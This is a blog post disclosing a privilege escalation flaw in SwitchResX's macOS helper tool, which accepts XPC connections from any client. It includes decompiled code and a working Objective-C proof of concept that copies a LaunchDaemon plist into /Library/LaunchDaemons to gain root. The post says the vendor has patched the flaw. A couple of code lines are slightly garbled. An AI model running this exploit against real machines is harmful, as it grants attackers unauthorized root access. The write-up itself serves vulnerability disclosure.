Home SwitchResX Vulnerability
Post
Cancel

SwitchResX Vulnerability

SwitchResX Vulnerability

During my time testing I come across some interesting applications and always wonder how they do some of the communications to various operating systems.

One day I came across a tool called SwitchResX, its concept is simple. It allows you to control screens using the input tools apple provides and wrapping it in an easy-to-use clickable interface.

This intrigued me to look at how the SwitchResX tool was executing communication.

I noticed it installed a Privileged Helper Tool in /Library/PrivilegedHelperTools directory. This is quite important as the PrivilegedHelperTool directory executables run with a setuid as root. This means the applications in that directory get executed with root permissions.

I decompiled the helper tool to inspect how it was validating the incoming XPC connections. One of the main issues with XPC is that the incoming connections aren’t sufficiently validated. Depending on the methods exposed by the server a malicious client could leverage this a perform privileged actions.

Note; a indepth writeup of XPC (C_API) and MACH is incoming.

So, loading the decompiled code of SwitchResX in IDA, we can see there is a function calledSRXHelperTool listener:shouldAcceptNewConnection: which is demonstrated below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char __cdecl -[SRXHelperTool listener:shouldAcceptNewConnection:](SRXHelperTool *self, SEL a2, id a3, id a4)
{
  id v5; // rax

  if ( objc_msgSend(self, "listener") != a3 )
    sub_1000059BB();
  if ( !a4 )
    sub_10000599A();
  v5 = objc_msgSend(&OBJC_CLASS___NSXPCInterface, "interfaceWithProtocol:", &OBJC_PROTOCOL___SRXHelperToolProtocol);
  objc_msgSend(a4, "setExportedInterface:", v5);
  objc_msgSend(a4, "setExportedObject:", self);
  objc_msgSend(a4, "resume");
  return 1;
}

The application does the following things, it assigns the value in rax to id v5; then if the incoming variable id a3 does not equal “listener” it gets passed to a new function sub_1000059BB(); if a4 is not set it will also pass into a different function sub_10000599A otherwise the application will set the SRXHelperToolProtocol to be an ExportedInterface and then export the protocol and return 1 equaling true. The issue here is there is nothing validating that the incoming XPC connection which means any XPC that queries is able to access the SRXHelperToolProtocol.

Note; While this isn’t ideal, this is not YET a vulnerability. If the application only exposes non-sensitive tasks then there is no real bug.

So far we know we are able to connect to SRXHelperToolProtocol we need to find out what exported methods we can utilise. We can do this by using class-dump or class-dump-swift

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@protocol NSXPCListenerDelegate <NSObject>

@optional
- (BOOL)listener:(NSXPCListener *)arg1 shouldAcceptNewConnection:(NSXPCConnection *)arg2;
@end

@protocol SRXHelperToolProtocol
- (void)moveFilesComponent:(NSDictionary *)arg1 withReply:(vnon-sensitiveor *))arg2;
- (void)removeComponentFromEverywhere:(NSDictionary *)arg1 withReply:(void (^)(NSError *))arg2;
- (void)moveRootlessFile:(NSDictionary *)arg1 withReply:(void (^)(NSError *))arg2;
- (void)removeEmptyFileAndFolder:(NSDictionary *)arg1 withReply:(void (^)(NSError *))arg2;
- (void)moveFilesCreatingDirectories:(NSDictionary *)arg1 withReply:(void (^)(NSError *))arg2;
- (void)moveFiles:(NSDictionary *)arg1 withReply:(void (^)(NSError *))arg2;
- (void)removeAllLibrariesForDict:(NSDictionary *)arg1 withReply:(void (^)(NSError *))arg2;
- (void)setMultiRefreshRateScaledModes:(BOOL)arg1 withReply:(void (^)(NSError *))arg2;
- (void)stopMyselfWithReply:(void (^)(NSError *))arg1;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
@end

There are a number of exported methods from the SRXHelperToolProtocol. First is to create an objective-c program to communicate with it, using the getVersionWithReply is typically a good idea since it replies with some content and we can use that as a source of validation if we have a successful connection to the XPC. This can be done by using the following code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#import <Foundation/Foundation.h>
#import <Security/Security.h>

#define LOG(fmt, ...) NSLog(@"[Rezkon] " fmt "\n", ##__VA_ARGS__)

@protocol SRXHelperToolProtocol
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
@end

int main(){
    static NSString* XPCHelperMachServiceName = @"fr.madrau.switchresx.helper"; // Define the mach service name
    NSString*  service_name = XPCHelperMachServiceName; // Convert to a NSString

    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000]; // Parse it to NSXPCCOnnection initMachServiceName 
    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(SRXHelperToolProtocol)]; // Tell the NSXPC What protocol to use. 
    LOG(@"[+] interface created");
    [connection setRemoteObjectInterface:interface];
    [connection resume];

    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
    {
        LOG(@"[-] Something went wrong");
        LOG(@"[-] Error: %@", error);
    }];
    LOG(@"obj: %@", obj);
    LOG(@"conn: %@", connection);
    [obj getVersionWithReply:^(NSString* arg1)
    {
        LOG(@"[+] Got the reply");
        LOG(@"[+] Version: %@", arg1);
    }];

    [NSThread sleepForTimeInterval:10.0f];

}

Running this while the ResXSwitch helper is running will return the current version of the application that is in use as demonstrated below.

Version_Obtain

This indicates we are able to successfully query and use the exported methods of the SRXHelperToolProtocol Protocol. Trying to work out how to leverage this more I noticed that the Protocol exports a few interesting methods. The - (void)moveFiles:(NSDictionary *)arg1 withReply:(void (^)(NSError *))arg2; and - (void)moveRootlessFile:(NSDictionary *)arg1 withReply:(void (^)(NSError *))arg2; methods were particular interesting to me.

The thing to be aware of is that this helper executes as a root and exports a moveFiles method. This seems like a good target to exploit so lets look into the moveFiles method.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __cdecl -[SRXHelperTool moveFiles:withReply:](SRXHelperTool *self, SEL a2, id a3, id a4)
{
  id v6; // r13
  id v7; // rax
  __int64 v8; // rsi
  id v9; // r12
  NSString *v10; // rax
  NSString *v11; // rax
  __int64 v12[6]; // [rsp+10h] [rbp-30h] BYREF

  v12[0] = 0LL;
  v6 = objc_msgSend(a3, "objectForKeyedSubscript:", CFSTR("SRXXPCSourceFile"));
  v7 = objc_msgSend(a3, "objectForKeyedSubscript:", CFSTR("SRXXPDestinationFile"));
  v8 = 0LL;
  if ( v6 )
  {
    v9 = v7;
    if ( v7 )
    {
      if ( qword_100009B40 >= 659200 && (unsigned __int8)objc_msgSend(v7, "containsString:", CFSTR("/System")) )
        -[SRXHelperTool runCommand:andReturnError:](self, "runCommand:andReturnError:", CFSTR("/sbin/mount -uw /"), v12);
      v10 = objc_msgSend(&OBJC_CLASS___NSString, "stringWithFormat:", CFSTR("/usr/sbin/chown 0:0 \"%@\""), v6);
      -[SRXHelperTool runCommand:andReturnError:](self, "runCommand:andReturnError:", v10, v12);
      v11 = objc_msgSend(&OBJC_CLASS___NSString, "stringWithFormat:", CFSTR("/bin/cp -pf \"%@\" \"%@\""), v6, v9);
      -[SRXHelperTool runCommand:andReturnError:](self, "runCommand:andReturnError:", v11, v12);
      v8 = v12[0];
    }
  }
  (*((void (__fastcall **)(id, __int64))a4 + 2))(a4, v8);
}

Looking at the moveFiles:withReply function, we can see v6 and v7 peforms objectForKeySubScript which returns the value associated with a given key for SRXXPCSourceFile and SRXXPDestinationFile. if v6 is set then assign SRXXPDestinationFile to v9 , if v7 is set it then falls into a if statement, if v7 containsString/System the application will then do runCommand:AndReturnError and execute /sbin/mount -uw otherwise the application executes a /usr/sbin/chown 0:0 with the value in v6, then does a /bin/cp -pf the value from v6 (SRXXPCSourceFile ) into the v9 value SRXXPDestinationFile

So we can use to perform privilege escalation. To do this we need to perform the following steps.

  1. Create a binary or use a binary that we want to run as root
  2. Write the plist file to /tmp/ which contains the ProgramArguments key to the binary we want to execute.
  3. Use the moveFiles function to move the plist into /Library/LaunchDaemons/
  4. Wait for the PC to relogin or reboot to obtain root shell.

POC Code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#import <Foundation/Foundation.h>
#import <Security/Security.h>

// Mach Service.

#define LOG(fmt, ...) NSLog(@"[Rezkon] " fmt "\n", ##__VA_ARGS__)

static NSString* XPCHelperMachServiceName = @"fr.madrau.switchresx.helper";
// Define the protocol we want to use..
@protocol SRXHelperToolProtocol
- (void)moveFilesComponent:(NSDictionary *)arg1 withReply:(void (^)(NSError *))arg2;
- (void)removeComponentFromEverywhere:(NSDictionary *)arg1 withReply:(void (^)(NSError *))arg2;
- (void)moveRootlessFile:(NSDictionary *)arg1 withReply:(void (^)(NSError *))arg2;
- (void)removeEmptyFileAndFolder:(NSDictionary *)arg1 withReply:(void (^)(NSError *))arg2;
- (void)moveFilesCreatingDirectories:(NSDictionary *)arg1 withReply:(void (^)(NSError *))arg2;
- (void)moveFiles:(NSDictionary *)arg1 withReply:(void (^)(NSError *))arg2;
- (void)removeAllLibrariesForDict:(NSDictionary *)arg1 withReply:(void (^)(NSError *))arg2;
- (void)setMultiRefreshRateScaledModes:(BOOL)arg1 withReply:(void (^)(NSError *))arg2;
- (void)stopMyselfWithReply:(void (^)(NSError *))arg1;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
@end

// Write the plist..
int plist_write(void){
    NSString *xml = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n    <key>KeepAlive</key>\n    <false/>\n    <key>Label</key>\n    <string>com.gimme.shell</string>\n    <key>ProgramArguments</key>\n  <array>\n  <string>/Users/research/Desktop/dream</string>\n  <string>userLoginNotification</string>\n  </array>\n    <key>RunAtLoad</key>\n    <true/>\n</dict>\n</plist>";

    //writeToFile:atomically
    [xml writeToFile:@"/tmp/test.plist" atomically:YES];
    NSLog(@"Plist wrote..\n");

}

// This just exploits via XPC connections since the mach_service does not sufficently validate incoming connections..at all.
int main(void){.
    plist_write();
    NSLog(@"[+] Trying to connect to the service");
    NSString*  service_name = XPCHelperMachServiceName;

    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];

    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(SRXHelperToolProtocol)];
    NSLog(@"[+] interface created");
    [connection setRemoteObjectInterface:interface];

    [connection resume];

    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
    {
        NSLog(@"[-] Something went wrong");
        NSLog(@"[-] Error: %@", error);
    }];

    NSLog(@"obj: %@", obj);
    NSLog(@"conn: %@", connection);

    [obj getVersionWithReply:^(NSString * version_reply){
        NSLog(@"Version: %@", version_reply);
    }];

    NSLog(@"We have a vaild connection to Mach Service");
 
    NSDictionary *reverse_shell_dict = @{@"SRXXPCSourceFile":@"/tmp/test.plist", @"SRXXPDestinationFile":@"/Library/LaunchDaemons/com.root.shell.plist"};
    [obj moveFiles:reverse_shell_dict withReply:^(NSError *error){
     NSLog(@"Error: %@", error);
    }];
    NSLog(@"We have written the plist to /Library/LaunchDaemons/");

   [NSThread sleepForTimeInterval:10.0f]; // Sleep is needed to allow launchd to respond. 

}

This bug was reported to the author and now performs audit_token check on the incoming communications. Please update if you use this software.

This concludes my blog post for 2022. K Bye.

This post is licensed under CC BY 4.0 by the author.